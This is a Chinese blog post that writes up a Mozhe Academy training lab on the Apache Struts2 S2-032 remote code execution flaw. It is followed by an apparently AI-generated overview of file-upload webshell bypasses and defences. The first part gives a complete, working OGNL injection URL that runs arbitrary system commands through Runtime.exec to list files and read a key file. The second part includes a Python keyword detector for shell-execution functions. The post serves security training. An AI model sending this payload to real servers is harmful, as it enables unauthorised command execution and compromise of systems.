墨者学院Apache Struts2远程代码执行漏洞(S2-032)

本文介绍了一个针对Apache Struts2的远程代码执行漏洞(S2-032),该漏洞允许攻击者通过上传恶意代码到服务器来执行任意命令。文章还提供了利用此漏洞的具体步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 漏洞原理:当启动调用动态方法时间,上传至服务端可以执行命令的恶意执行代码。

这个网址有相关的Apache Struts2远程代码执行漏洞(S2-032)信息:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

访问改页面用burp抓包并填写:

/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls 

 使用cat  key.txt(这里空格记得对其url编码)

cat%20key.txt

 

### 墨者学院 WebShell 文件上传漏洞分析与溯源方法 #### 背景概述 WebShell 是一种嵌入到目标服务器中的脚本程序,攻击者可以通过它远程控制受害者的服务器。文件上传漏洞通常允许攻击者通过伪造请求或其他手段绕过安全机制,在服务器上放置恶意脚本。 在墨者学院的相关题目中提到的内容涉及多个方面,包括 MIME 类型篡改、禁用 JavaScript 绕过前端验证以及利用后缀名规避检测等技术[^1]。 --- #### 漏洞成因分析 文件上传漏洞的主要原因在于服务端对上传文件的安全校验不足。具体表现为以下几个方面: 1. **MIME 类型校验不严格** 攻击者可以使用工具(如 Burp Suite)抓取 HTTP 请求并修改其 MIME 类型字段,从而绕过基于内容类型的限制。例如,将 `.txt` 文件伪装为 `image/jpeg` 格式的图片文件。 2. **依赖客户端验证** 如果仅依靠浏览器端的 JavaScript 验证来阻止非法文件类型,则容易被禁用或绕过。一旦禁用了 JavaScript 功能,就可以轻松提交不符合预期规则的文件[^2]。 3. **扩展名校验缺陷** 当某些应用只检查文件名而未深入解析实际内容时,可能会接受带有特殊后缀名(比如 `.php5`, `.pht` 等变种 PHP 扩展)的文件作为合法输入[^3]。这使得即使表面上看似正常的文件也可能隐藏潜在威胁。 --- #### 解决方案建议 为了有效防范此类问题的发生,可以从以下几方面着手改进防护措施: - 加强服务端逻辑设计, 不应单纯信任来自用户的任何数据; - 对于上传过程实施多重过滤策略, 如限定白名单内的 mime-type 和尺寸范围之外还需确认最终存储形式确实无害; - 定期审查现有代码库寻找可能存在的安全隐患点,并及时修补已知漏洞; 以下是实现上述部分功能的一个 Python 示例演示如何初步判断一个给定字符串是否可能是危险命令执行语句的一部分: ```python import re def is_potentially_dangerous(input_string): pattern = r'(?:exec|passthru|shell_exec|system|proc_open|popen)' match_result = re.search(pattern, input_string.lower()) return bool(match_result) test_strings = ["<?php echo 'hello'; ?>", "<?php system('ls'); ?>"] for s in test_strings: print(f"'{s}' -> {is_potentially_dangerous(s)}") ``` 此函数会返回 True 或 False 表明传入参数是否存在可疑的关键字组合。 --- #### 总结 通过对墨者学院案例的学习可以看出,针对 web shell 的防御工作需要综合考虑多层面的因素,从前端界面交互直至后台数据库操作均需保持高度警惕以防万一环节疏漏造成严重后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全村的希望xh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值